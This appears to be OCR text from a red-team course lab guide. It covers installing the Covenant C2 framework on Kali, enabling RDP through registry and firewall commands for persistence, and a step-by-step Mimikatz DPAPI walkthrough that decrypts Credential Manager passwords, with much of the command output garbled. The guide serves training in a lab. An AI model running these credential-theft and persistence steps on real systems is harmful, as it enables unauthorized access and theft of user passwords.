
Wired +

Connected - 1000 Mb/s on [DLE:

From one of the domain workstations visit the RoundCube webmail server to ensure the network is
functioning correctly. The address is https://<ubuntulP>/mail .
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G A Not secure \ hips://192.168.3.4/mail/

v .

Congratulations! All necessary lab devices have been generated.

2-10 Kali Linux Installation (Optional)

I have provided a custom Kali Linux distribution for the course that includes all necessary tools, to
include PowerShell tools, Covenant, and more. It is downloadable in the course share and should be
installed the same was as UbuntuMail above. Root user is enabled on the machine with
root:Password123! Credentials.
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Section 3 — Installing Covenant

3-3 Covenant Introduction and Installation

Covenant is an open-source program maintained by Cobbr. Covenant provides a GUI web interface that
allows for a multitude of enumeration, exploitation and post-exploitation tools use for penetration
testing, ethical hacking, and red teaming operations. For this course, a fork of Covenant developed and
maintained by RastaMouse will be used as it provides additional functionality that enhances the
platform and exploitation abilities.

Covenant requires dotnet in order to function. Utilize the following commands to install the require
dotnet dependencies. Per the Covenant installation instructions, install dotnet core version 3.1 SDK.
Visit https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#2104- for additional
information.

cd /tmp

wget https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb -0 packages-
microsoft-prod.deb

sudo dpkg -i packages-microsoft-prod.deb

sudo apt update -y

sudo apt-get install -y apt-transport-https dnsutils
sudo apt-get update

sudo apt-get install -y dotnet-sdk-3.1

sudo git clone --recurse-submodules https://github.com/ZeroPointSecurity/Covenant.git
/opt/Covenant

( ] )-[~1
—i cd /tmp & wget https://packages.microsoft.com/config/ubuntu/21.084/packages-microsoft-prod.deb -0 packages-microsoft-prod.deb

--2021-06-12 20:02:58— https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb
Resolving packages.microsoft.com (packages.microsoft.com)... 13.93.224.173

Connecting to packages.microsoft.com (packages.microsoft.com)|13.93.224.173|:443 ... connected.

HTTP request sent, awaiting response... 200 0K

Length: 3696 (3.6K) [application/octet-stream]

Saving to: ‘packages-microsoft-prod.deb’

packages-microsoft-prod.deb 100%[ 1 3.61K ——KB/s in @s

2021-06-12 20:02:58 (73.9 MB/s) - ‘packages-microsoft-prod.deb’ saved [3696/3696]

— L J-[/tmp ]
“—# sudo dpkg -1 packages-microsoft-prod.deb

Selecting previously unselected package packages-microsoft-prod.
(Reading database ... 326927 files and directories currently installed.)
Preparing to unpack packages-microsoft-prod.deb ...

Unpacking packages-microsoft-prod (1.@-ubuntu2l.04.1) ...

Setting up packages-microsoft-prod (1.@8-ubuntu21.04.1) ...

—( ] I~ /tmp]
—# sudo git clone rse-sub

rse-s s https://github.com/ZeroPointSecurity/Covenant.git /opt/Covenant
Cloning into '/opt/Covenant’ ...

remote: Enumerating objects: 6357, done.

remote: Counting objects: 100% (16/16), done.

remote: Compressing objects: 100% (16/16), done.

remote: Total 6357 (delta 2), reused 5 (delta @), pack-reused 6341
Receiving objects: 10@% (6357/6357), 32.54 MiB | 10.38 MiB/s, done.
Resolving deltas: 100% (4017/4017), done.

Submodule 'Covenant/Data/ReferenceSourcelibraries/Rubeus’ (https://github.com/GhostPack/Rubeus) registered for path 'Covenant/[
Sourcelibraries/Rubeus’
Submodule ’Covenant/Data/ReferenceSourcelibraries/Seatbelt’ (https://github.com/GhostPack/Seatbelt) registered for path 'Covend
enceSourcelLibraries/Seatbelt’

Submodule 'Covenant/Data/ReferenceSourcelibraries/SharpDPAPI' (https://github.com/GhostPack/SharpDPAPI) registered for path 'C
eferenceSourcelibraries/SharpDPAPI’

Submodule 'Covenant/Data/ReferenceSourcelibraries/SharpDump’ (https://github.com/GhostPack/SharpDump) registered for path 'Covd
erenceSourcelibraries/SharpDump”
Submodule 'Covenant/Data/ReferenceSourcelibraries/SharpSc’ (https://github.com/djhohnstein/SharpsC) registered for path 'Coveng
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In order to run Covenant, the student needs to go to the /opt/Covenant/Covenant directory and run
dotnet as follows:

/usr/bin/dotnet /opt/Covenant/Covenant
It is recommended that the student create a desktop launcher for ease of use. Right click on the Kali

desktop and select Create Launcher. Select the Launcher tab and enter the following information as
appropriate and click Close when completed.

= Covenant.desktop - Properties - O x
General Emblems Permissions Launcher
Description: | |

Command: fusr/bin/dotnet run
Working Directory:  [opt/Covenant/Covenant

Comment:

Options: ™ Use startup notification

# Runin terminal

Help Close

Double click the newly created Covenant icon to start the program. On first run there will likely be a
Dotnet message in the terminal window instead. Close this and double click the icon again to start
Covenant. Note that launcher generation in Kali can be troublesome, so if Covenant does not start it is
recommended to long-hand the command as shown earlier.

Visit the link provided in the terminal output to access Covenant. When the program is first loaded the
student will be prompted for a username and password. Set this to the desired username and password
and continue.

warn: Microsoft.EntityFrameworkCore.Model.Validation[108400]

Sensitive data logging is enabled. Log entries and exception messages may include sensitive application d
ata, this mode should only be enabled during development.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
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o-OVENANT

=

Register Initial User

Username

Password

Confirm Password

If you have made it to the following screen, you have successfully installed Covenant and it is ready to
use.

**Note that Covenant can also be installed and ran from Docker. Consult the installation Wiki at
https://github.com/cobbr/Covenant/wiki/Installation-And-Startup if you wish to use Docker.**
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Section 5 — Enumerating the Local Machine, Privilege Escalation, and
Local Persistence

5-12 Persistence via RDP

Enable Remote Desktop via Registry Edit and Enable Firewall Rule

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Disable Remote Desktop via Registry Edit and Disable Firewall Rule

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f; Disable-NetFirewallRule -DisplayGroup "Remote Desktop"

5-16 Windows Credential Manager

Enable Remote Desktop on DCO1

Settings

3¢ Remote Desktop settings

I Remote Desktop Developer Settings

Tt Remote Desktop hibernation settings

H Allow Remote Desktop connections only from computers with Network Level Aut
T Allow remote connections to this computer

Tt Remote Desktop sleep settings

3 Advanced Remote Desktop settings

£ remote

https://t. me/learningnets



Remote Desktop

Remote Desktop lets you connect to and control this PC from a remote
device by using a Remote Desktop client (available for Windows,
Android, 105 and macQSs). You'll be able to work from another device as
if you were working directly on this PC.

Enable Remote Desktop

@ o

Show settings

Show settings

Mimikatz Commands

All commands are ran from the domain user context, i.e., Medium Integrity.

Mimikatz wvault::cred

(studentuser) > mimikatz vault

mimikatz 4) #17763 Apr 9 2019 23
La Vie, A L'Amour" - (oe.eo)
* Benjamin DELPY “gentilkiwi® ( nja ntilkiwi.com }

gmail.com )
R c / t ysma g om  *kx/

mimikatz(power
: TERMSRV/!

- domain_password
al_machine
: 000EE00

target=TERMSRV/dcO1 / <NULL>
themayor

ain_password
Persist = al_machine
Fl
Credential :
Attributes :

Run the following to locate the credential file:

1s C:\users\s.chisholm.mayorsec\appdatal\local\microsoft\credentials

(studentuser) > - may \mi ft\credentials

Name g tionTimeUtc 5 C LastWriteTimeUt

\credentials\9FD43BIDAC2EECAAS0270662B8E49 3 PM

\microsoft\credentials\DFBE70ATESCC19A EBF1B 9CESD 11620 6. 1 1:57:57 PM
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Copy the directory path of the smaller sized file in the directory and click on the grunt -> Tasks. Enter the
following:

“dpapi::cred /in:<yourdirectorypathhere>”

Grunt: 813ec9bhd77

@ Info >_ Interact & Task £ Taskings

GruntTask

Mimikatz v

Command

"dpapi::cred /in:C:\users\s.chisholm.mayorsec\appdata\localimicrosofticredentials\9FD43B9DACZEECAAS0270662B8E497D5"

Click on Task to execute. The output should be something similar as below:

appdata\local\microsoft) ntials\9FD43BIDAC2EECAAS0270662|

mimikatz (pow ell) # dpapi::cred /in:C:\users\s.chisholm.mayorsec\appdata\local\microsoft\credentials\9FDA3BIDAC2EECAASD270662B8EAT7D5
**BLOB**

dwVersion : 00000001 - 1

guidProy r : {df9d8cde-1501-11d1-8c7a-00c04fc297eb}

: 00006603 - 26
1 000000

: 00000010 -

5

: 00000000 -

5h : 00008004 - 2 (CALG_SHAL)
HashLen : o0
KeyLen : 00000010 -
374239d09d49582d

225713718daf 63a7eb72 2D 98: e
6d5e93989025¢346 9a293fba5aa@bfa795581afd745016ea77a5a9

1 3b9540a2d1860ae57e6d6cl2faa3cf4bdb73elfl

Of note is the “guidMasterKey,” which we will locate in the
C:\Users\s.chisholm.mayorsec\appdata\roaming\microsoft\protect directory. We need to first identify
the SID value in that directory, and then list the contents of it to locate the masterkey file.

1s C:\users\s.chisholm.mayorsec\appdata\roaming\microsoft\protect

1s C:\users\s.chisholm.mayorsec\appdata\roaming\microsoft\protect\<Sidvalue>
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(studentuser) > s C:\u: isholm.mayorsec\appdata\roaming\m: t\protect

Length CreationTimeUtc LastAccessTimeUtc

hisholm.may appdata\roaming\microsoft\protect\s-1-5-21-318

rs\s.chisholm.mayo appdata\roaming\microsoft\protect\CREDHIST
PM
\s.chisholm.may \appdata\roaming\microsoft\protect\SYNCHIST

(studentuser) > 1s C:\u: isholm.mayorsec\appdata\roaming\m: t\protect\s-1-5-21
Name eng CreationTimeUtc
LastAccessTimeUtc LastWriteTimeUtc
-313528739 0731-1114\5c99e162-dcad-43d9-8a77-3abf2a9cbf36 E 6/22/2021 1:57:55 PM
0731-1114\BK-mayorsec 916 6/22/2021 1:57:55 PM

31-1114\Preferred

Copy the
C:\users\s.chisholm.mayorsec\appdata\roaming\microsoft\protect\<SidValue>\<guidMasterkeyValue>
path

Back in tasks, enter select Mimikatz and enter the following:

"dpapi::masterkey
/in:C:\users\s.chisholm.mayorsec\appdata\roaming\microsoft\protect\<Sidvalue>
\<guidMasterKey> /rpc”

Make note of the double quotation marks as they are necessary. Output will be similar to the following:

a dpapi::masterkey /in:C:\u \s.chisholm.mayc wpdata\roaming\microseft\protect\5-1-5-21-3187735945-313528739 31-1114\5c99e162-

Tkiwi.com )

0880731-1114\ 6162 -dcaB-43d9-8a77-3abf2a9cbf36 /rpc

dwCredHistLen
dwDomainKeyLen

The most important output is located at the end of the command, which shows a “key” value. This is
the masterkey to use to decrypt the Credential Vault password.

[domainkey] with RPC

7a7fe7/dablab85154e7859710cdb27bBe306580150T60T43e

Copy the masterkey value to a text editor. Scroll back up to the original dpapi::cred command, and copy
it. Click on Tasks and select Mimikatz. Enter the following command as used in your environment:

“dpapi::cred
/in:C:\users\s.chisholm.mayorsec\appdatallocal\microsoft\credentials\<credent
ialfile>\ /masterkey:<masterkeyvalue>”
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Make sure to mind the double quotation marks and run the task. If all goes well, output should look
like the following:

ials\9FD43BODACZEECAASO27
9710cdb27b0e306580150T60T4:

mimikatz 2.2.0 (x64) #17763 Apr 9 2019 23:22:27
"A La Vie, A L'Amour" -

dwVersion : 0egeeeel - 1
guidProvider ] d8cd®-1501-11d1-8c7a-00cB4fc297eb}

At the bottom, the username and password stored in the credential vault from the RDP session will be
shown in plaintext.

Decrypting Credential:

* masterkey : 1556d3b9e38e £ 9cc96ef5T65ddefcffc73483 Bf2dc2f439a4528cc72917a7 fe7da01ab85154e7859710cdb27bBe306580150f60T43e
**CREDENTIAL**

credFl : DDEEEB36 - 4

creds : 000008ba -

credUnk® : 00000006 - O

Type : 0000EE02 - 2 -
Flags g

LastWritten

unkFlagsOrsize :

Persist

AttributeCount : DOOB0E

unk@ : D0OEEEOO - O

unkl : D0OEEE0O - 0

TargetName : Domain:target=TERMSRV/dc@l
UnkData : {null)

Comment : (null)

TargetAlias : (null)

UserName :

Cr tialBlob :

Attributes

It is also possible to conduct the exercise using Meterpreter’s Kiwi tool. Simply use the same commands
and steps as above in order to execute the exploit against Credential Manager. Keep in mind that
Meterpreter requires two \\ for directory paths rather than one. Adjust accordingly.

Troubleshooting

If any issues arise where you are unable to obtain the credentials, make sure they are saved in the
Credential Manager. Additionally, ensure you are in the correct user context, which in this case is a
medium integrity, domain connected grunt as s.chisholm.
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